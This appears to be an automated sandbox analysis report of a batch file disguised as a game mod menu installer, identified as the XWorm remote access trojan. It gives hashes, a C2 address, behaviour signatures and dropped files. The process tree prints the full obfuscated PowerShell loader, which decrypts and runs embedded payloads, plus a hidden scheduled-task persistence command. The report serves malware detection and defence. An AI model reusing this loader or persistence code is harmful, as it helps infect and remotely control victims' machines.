Resubmissions

04/03/2025, 19:23

250304-x32assx1g1 10

04/03/2025, 19:21

250304-x2ytaax1dx 10

Analysis

  • max time kernel
    70s
  • max time network
    130s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/03/2025, 19:23

General

  • Target

    Destiny Mod Menu/Destiny/Destiny Loader Installer.bat

  • Size

    265KB

  • MD5

    512d6ccd633decbe126a38c51c29a280

  • SHA1

    017e6fbb5eb2e367f37b4e5c33eb89cafcc7db48

  • SHA256

    411b2ce5f266c6b25a645c37e7fd071772810ae5c74cf457db20f43f43277fe5

  • SHA512

    fde1138b21117652348ec58f6ea92687fb94b111e0c49b5528d995a8e5e1588e7d1957761ca6eabb1010666f925b77a8032c129ec0839c5797a7e8381af24af7

  • SSDEEP

    6144:jhbd8sLlMG4UZT009TJPirdyKRxv4oPhdP:ld9Jdr96YitZdP

Malware Config

Extracted

Family

xworm

Version

5.0

C2

french-add.gl.at.ply.gg:6536

Mutex

db7vnqFX7vAc4WLR

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    System.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Destiny Mod Menu\Destiny\Destiny Loader Installer.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3088
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a4Wny3pMw/quq+3CugnkbgjOgDqz7GpqcCoFYQ082Qg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('McCcrn5ax83ehqoAfbIc3A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $RELLW=New-Object System.IO.MemoryStream(,$param_var); $KdJRg=New-Object System.IO.MemoryStream; $atmEh=New-Object System.IO.Compression.GZipStream($RELLW, [IO.Compression.CompressionMode]::Decompress); $atmEh.CopyTo($KdJRg); $atmEh.Dispose(); $RELLW.Dispose(); $KdJRg.Dispose(); $KdJRg.ToArray();}function execute_function($param_var,$param2_var){ $LMajr=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZqHWQ=$LMajr.EntryPoint; $ZqHWQ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Destiny Mod Menu\Destiny\Destiny Loader Installer.bat';$VYMDR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Destiny Mod Menu\Destiny\Destiny Loader Installer.bat').Split([Environment]::NewLine);foreach ($kwRBK in $VYMDR) { if ($kwRBK.StartsWith(':: ')) { $buoVq=$kwRBK.Substring(3); break; }}$payloads_var=[string[]]$buoVq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2788
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_192_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_192.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2148
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_192.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:4108
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_192.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4864
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a4Wny3pMw/quq+3CugnkbgjOgDqz7GpqcCoFYQ082Qg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('McCcrn5ax83ehqoAfbIc3A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $RELLW=New-Object System.IO.MemoryStream(,$param_var); $KdJRg=New-Object System.IO.MemoryStream; $atmEh=New-Object System.IO.Compression.GZipStream($RELLW, [IO.Compression.CompressionMode]::Decompress); $atmEh.CopyTo($KdJRg); $atmEh.Dispose(); $RELLW.Dispose(); $KdJRg.Dispose(); $KdJRg.ToArray();}function execute_function($param_var,$param2_var){ $LMajr=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZqHWQ=$LMajr.EntryPoint; $ZqHWQ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_192.bat';$VYMDR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_192.bat').Split([Environment]::NewLine);foreach ($kwRBK in $VYMDR) { if ($kwRBK.StartsWith(':: ')) { $buoVq=$kwRBK.Substring(3); break; }}$payloads_var=[string[]]$buoVq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:3312

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    661739d384d9dfd807a089721202900b

    SHA1

    5b2c5d6a7122b4ce849dc98e79a7713038feac55

    SHA256

    70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

    SHA512

    81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    f8d49a4af7a844bfc7247d5670def557

    SHA1

    26ae0ce194a77a7a1887cf93741293fdfa6c94c4

    SHA256

    61c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b

    SHA512

    9e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1nu5askv.vpr.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\startup_str_192.bat

    Filesize

    265KB

    MD5

    512d6ccd633decbe126a38c51c29a280

    SHA1

    017e6fbb5eb2e367f37b4e5c33eb89cafcc7db48

    SHA256

    411b2ce5f266c6b25a645c37e7fd071772810ae5c74cf457db20f43f43277fe5

    SHA512

    fde1138b21117652348ec58f6ea92687fb94b111e0c49b5528d995a8e5e1588e7d1957761ca6eabb1010666f925b77a8032c129ec0839c5797a7e8381af24af7

  • C:\Users\Admin\AppData\Roaming\startup_str_192.vbs

    Filesize

    115B

    MD5

    6cd14ee5916ce38e9471d67277b52f25

    SHA1

    a9242950482cf0da224013aebf8403ede9c33ab2

    SHA256

    b09f54c3df67f31b6a2545d8883ca3eb246a5833218d9d525e7bab8138aedbc7

    SHA512

    f1c752b5d0d93e640e5dc86bf1282260c295aac63e9c5356867418ef545adf09a12f3e55512175baee184272e948dce109d8d5268adc59ac8a45b208955f24a4

  • memory/2148-26-0x00007FF839D50000-0x00007FF83A811000-memory.dmp

    Filesize

    10.8MB

  • memory/2148-16-0x00007FF839D50000-0x00007FF83A811000-memory.dmp

    Filesize

    10.8MB

  • memory/2148-27-0x00007FF839D50000-0x00007FF83A811000-memory.dmp

    Filesize

    10.8MB

  • memory/2148-30-0x00007FF839D50000-0x00007FF83A811000-memory.dmp

    Filesize

    10.8MB

  • memory/2788-14-0x000002B154F70000-0x000002B154FA4000-memory.dmp

    Filesize

    208KB

  • memory/2788-0-0x00007FF839D53000-0x00007FF839D55000-memory.dmp

    Filesize

    8KB

  • memory/2788-13-0x000002B13A9A0000-0x000002B13A9A8000-memory.dmp

    Filesize

    32KB

  • memory/2788-12-0x00007FF839D50000-0x00007FF83A811000-memory.dmp

    Filesize

    10.8MB

  • memory/2788-11-0x00007FF839D50000-0x00007FF83A811000-memory.dmp

    Filesize

    10.8MB

  • memory/2788-7-0x000002B152B20000-0x000002B152B42000-memory.dmp

    Filesize

    136KB

  • memory/2788-50-0x00007FF839D50000-0x00007FF83A811000-memory.dmp

    Filesize

    10.8MB

  • memory/3312-49-0x000001D9762E0000-0x000001D9762F0000-memory.dmp

    Filesize

    64KB